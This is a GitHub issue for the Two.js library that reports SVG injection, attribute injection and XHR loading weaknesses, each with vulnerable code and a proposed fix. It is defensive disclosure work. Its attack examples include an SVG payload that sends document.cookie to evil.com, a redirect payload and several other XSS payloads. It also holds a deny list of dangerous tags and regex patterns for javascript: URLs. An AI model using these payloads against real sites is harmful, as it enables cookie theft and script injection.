Skip to content

[Bug] Security Vulnerability Assessment Report #797

@jonobr1

Description

@jonobr1

🔒 Two.js Security Vulnerability Assessment Report

Assessment Date: September 23, 2025
Scope: Complete Two.js codebase security review
Focus: SVG injection, DOM manipulation, XSS, and graphics-specific vulnerabilities


🚨 CRITICAL VULNERABILITIES IDENTIFIED

[CRITICAL] - SVG Injection via innerHTML: Direct XSS Attack Vector

Location: /src/two.js - Line 1169
Attack Vector: Malicious SVG content processed via dom.temp.innerHTML = data
Impact: Full XSS exploitation, arbitrary JavaScript execution
Two.js Specific Risk: Any SVG loaded via Two.load() can inject malicious content

Vulnerable Code:

const attach = function (data) {
  dom.temp.innerHTML = data; // ❌ CRITICAL: Direct HTML injection
  
  for (i = 0; i < dom.temp.children.length; i++) {
    elem = dom.temp.children[i];
    child = this.interpret(elem, false, false);
    if (child !== null) {
      group.add(child);
    }
  }
}.bind(this);

Attack Example:

// Attacker provides malicious SVG
const maliciousSVG = `
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS Attack!');</script>
  <image href="javascript:window.location='http://evil.com/steal?data='+document.cookie"/>
  <use href="javascript:eval(atob('bWFsaWNpb3VzIGNvZGU='))"/>
</svg>`;

// This triggers XSS when loaded
two.load(maliciousSVG, callback);

Secure Implementation:

const attach = function (data) {
  // ✅ SECURE: Use DOMParser instead of innerHTML
  const parser = new DOMParser();
  const svgDoc = parser.parseFromString(data, 'image/svg+xml');
  
  // Check for parsing errors
  if (svgDoc.documentElement.nodeName === 'parsererror') {
    throw new TwoError('Invalid SVG content');
  }
  
  // Remove dangerous elements
  const dangerousElements = ['script', 'object', 'embed', 'iframe', 'foreignObject'];
  dangerousElements.forEach(tagName => {
    const elements = svgDoc.querySelectorAll(tagName);
    elements.forEach(el => el.remove());
  });
  
  // Sanitize all attributes
  const allElements = svgDoc.querySelectorAll('*');
  allElements.forEach(el => sanitizeElementAttributes(el));
  
  // Now safely process the sanitized SVG
  const children = Array.from(svgDoc.documentElement.children);
  for (let i = 0; i < children.length; i++) {
    const child = this.interpret(children[i], false, false);
    if (child !== null) {
      group.add(child);
    }
  }
}.bind(this);

[HIGH] - DOM Attribute Injection: Unsafe Attribute Setting

Location: /src/renderers/svg.js - Line 44-52
Attack Vector: Unvalidated attribute setting allows injection of dangerous attributes
Impact: Event handler injection, style-based XSS, attribute-based attacks

Vulnerable Code:

setAttributes: function (elem, attrs) {
  const keys = Object.keys(attrs);
  for (let i = 0; i < keys.length; i++) {
    if (/href/.test(keys[i])) {
      elem.setAttributeNS(svg.xlink, keys[i], attrs[keys[i]]);
    } else {
      elem.setAttribute(keys[i], attrs[keys[i]]); // ❌ No validation
    }
  }
  return this;
}

Attack Example:

// Malicious attributes could be injected
const maliciousAttrs = {
  'onload': 'alert("XSS")',
  'onclick': 'window.location="http://evil.com"',
  'style': 'background: url(javascript:alert(1))',
  'href': 'javascript:eval(atob("bWFsaWNpb3VzIGNvZGU="))'
};

Secure Implementation:

const SAFE_SVG_ATTRIBUTES = [
  'x', 'y', 'width', 'height', 'fill', 'stroke', 'stroke-width',
  'opacity', 'transform', 'd', 'points', 'cx', 'cy', 'r', 'rx', 'ry',
  'fill-opacity', 'stroke-opacity', 'stroke-linecap', 'stroke-linejoin',
  'stroke-miterlimit', 'stroke-dasharray', 'stroke-dashoffset',
  'font-family', 'font-size', 'text-anchor', 'dominant-baseline',
  'visibility', 'class', 'id'
];

setAttributes: function (elem, attrs) {
  const keys = Object.keys(attrs);
  for (let i = 0; i < keys.length; i++) {
    const key = keys[i];
    const value = attrs[key];
    
    // ✅ SECURE: Validate attribute names
    if (!SAFE_SVG_ATTRIBUTES.includes(key)) {
      console.warn(`Unsafe attribute rejected: ${key}`);
      continue;
    }
    
    // ✅ SECURE: Validate attribute values
    if (this.isUnsafeAttributeValue(key, value)) {
      console.warn(`Unsafe attribute value rejected: ${key}=${value}`);
      continue;
    }
    
    if (/href/.test(key)) {
      elem.setAttributeNS(svg.xlink, key, value);
    } else {
      elem.setAttribute(key, value);
    }
  }
  return this;
},

isUnsafeAttributeValue: function(key, value) {
  // Check for dangerous patterns
  if (typeof value !== 'string') return false;
  
  // Block javascript: URLs
  if (/javascript:/i.test(value)) return true;
  
  // Block data: URLs with script content
  if (/data:.*script/i.test(value)) return true;
  
  // Block vbscript: URLs
  if (/vbscript:/i.test(value)) return true;
  
  return false;
}

[HIGH] - Path Attribute Manipulation: SVG Parse Injection

Location: /src/utils/interpret-svg.js - Line 644
Attack Vector: Direct attribute copying without validation
Impact: Injection of malicious attributes through SVG <use> elements

Vulnerable Code:

for (let i = 0; i < node.attributes.length; i++) {
  const attr = node.attributes[i];
  const ca = overwriteAttrs.includes(attr.nodeName);
  const cb = !fullNode.hasAttribute(attr.nodeName);
  if (ca || cb) {
    fullNode.setAttribute(attr.nodeName, attr.value); // ❌ No validation
  }
}

[MEDIUM] - XHR Resource Loading: Insufficient URL Validation

Location: /src/utils/xhr.js - Line 9-20
Attack Vector: No URL validation allows loading from malicious sources
Impact: SSRF-like attacks, malicious content loading

Vulnerable Code:

export function xhr(path, callback) {
  const xhr = new XMLHttpRequest();
  xhr.open('GET', path); // ❌ No URL validation
  
  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4 && xhr.status === 200) {
      callback(xhr.responseText); // ❌ No response validation
    }
  };
  
  xhr.send();
  return xhr;
}

Secure Implementation:

export function xhr(path, callback) {
  // ✅ SECURE: Validate URL
  if (!isValidURL(path)) {
    throw new TwoError('Invalid or unsafe URL provided');
  }
  
  const xhr = new XMLHttpRequest();
  xhr.open('GET', path);
  
  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
      if (xhr.status === 200) {
        // ✅ SECURE: Validate response content type
        const contentType = xhr.getResponseHeader('Content-Type');
        if (!contentType || !contentType.includes('svg')) {
          throw new TwoError('Invalid content type received');
        }
        
        callback(xhr.responseText);
      } else {
        throw new TwoError(`Failed to load resource: ${xhr.status}`);
      }
    }
  };
  
  xhr.send();
  return xhr;
}

function isValidURL(url) {
  try {
    const parsed = new URL(url);
    // Only allow http/https protocols
    return ['http:', 'https:'].includes(parsed.protocol);
  } catch {
    return false;
  }
}

📊 SECURITY ASSESSMENT SCORES

  • SVG Processing Security: 2/10 - Critical innerHTML injection vulnerability
  • DOM Manipulation Security: 4/10 - Unvalidated attribute setting
  • Input Validation: 3/10 - Limited validation of user inputs
  • External Resource Security: 3/10 - No URL validation or content type checking
  • Overall Graphics Security: 3/10 - Multiple critical vulnerabilities present

🎯 IMMEDIATE PRIORITY ACTIONS

1. [CRITICAL] Fix SVG Injection in Two.load()

  • Replace innerHTML with DOMParser
  • Implement SVG content sanitization
  • Remove dangerous elements (<script>, <object>, etc.)
  • Validate all SVG attributes before processing

2. [HIGH] Implement Attribute Whitelisting

  • Create whitelist of safe SVG attributes
  • Validate attribute values for dangerous patterns
  • Reject javascript: and data: URLs
  • Log security violations for monitoring

3. [HIGH] Secure External Resource Loading

  • Validate URLs before XHR requests
  • Check response content types
  • Implement proper error handling
  • Add CORS validation

4. [MEDIUM] Text Content Sanitization

  • Currently uses textContent (good) but needs validation
  • Ensure no HTML parsing in text values
  • Validate font family names and other text properties

🧪 Security Test Cases

// Test 1: SVG Script Injection
const maliciousSVG = `
<svg><script>alert('XSS')</script><rect width="100" height="100"/></svg>
`;

// Test 2: Event Handler Injection  
const eventSVG = `
<svg><rect onload="alert('XSS')" width="100" height="100"/></svg>
`;

// Test 3: JavaScript URL Injection
const jsSVG = `
<svg><image href="javascript:alert('XSS')"/></svg>
`;

// Test 4: CSS Expression Attack
const cssSVG = `
<svg><rect style="background: expression(alert('XSS'))"/></svg>
`;

Expected Behavior After Fixes: All malicious content should be stripped/rejected, with only safe visual elements rendered.


This assessment reveals critical security vulnerabilities that require immediate attention. The SVG injection vulnerability alone poses a severe XSS risk that could compromise any application using Two.js.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions